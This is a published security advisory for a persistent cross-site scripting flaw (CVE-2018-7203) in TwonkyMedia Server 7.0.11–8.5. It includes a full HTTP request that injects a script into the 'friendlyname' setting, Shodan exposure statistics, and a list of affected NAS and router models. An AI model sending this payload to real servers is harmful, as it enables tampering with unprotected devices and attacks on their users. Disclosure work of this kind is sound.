TwonkyMedia Server 7.0.11-8.5 Persistent Cross-Site Scripting

2018.03.29
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

--------------------------------------------------------------------- 1. About --------------------------------------------------------------------- # Exploit Title: TwonkyMedia Server 7.0.11-8.5 Persistent XSS # Date: 2018-03-27 # Exploit Author: Sven Fassbender # Contact: https://twitter.com/mezdanak # Vendor Homepage: http://www.lynxtechnology.com/home # Software Link: https://twonky.com/downloads/index.html # Version: 7.0.11-8.5 # CVE : CVE-2018-7203 # Category: webapps --------------------------------------------------------------------- 2. Background information --------------------------------------------------------------------- "With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers. Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs. Twonky Server’s web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to “beam” those media files to other connected devices." --extract from https://twonky.com Statistics: Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky) Rarely protected by password (only around 2%). Top Countries: 1. United States 2. Germany 3. Korea 4. Russian Federation 5. France 6. Italy 7. Taiwan 8. Poland 9. Hungary 10. United Kingdom TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices: Thecus N2310 Thecus N4560 WDMyCloud, MyCloudEX2Ultra, WDMyCloudEX4, WDMyCloudEX2100, QNAP, Zyxel NAS326, Zyxel NAS542, Zyxel NSA310, Zyxel NSA310S, Zyxel NSA320, Zyxel NSA325-v2 ... Other devices: Belkin routers Zyxel EMG2926-Q10A ... --------------------------------------------------------------------- 3. Vulnerability description --------------------------------------------------------------------- TwonkyMedia Server lacks of validating user input in the "Servername" input field. HTTP request: POST /rpc/set_all HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/webconfig Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 39 Connection: close friendlyname=<script>alert(1)</script> HTTP response: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: de Content-Length: 30 Date: Tue, 19 Dec 2017 04:09:21 GMT Accept-Ranges: bytes Connection: close Expires: 0 Pragma: no-cache Cache-Control: no-cache EXT: Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1 <html><body>ok</body></html> Now if e.g. http://192.168.188.9:9000 is visited, the injected JavaScript code get's executed. --------------------------------------------------------------------- 4. Fix --------------------------------------------------------------------- All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable. While writing this advisory 8.5 is the latest version available: https://twonky.com/downloads/index.html ---------------------------------------------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top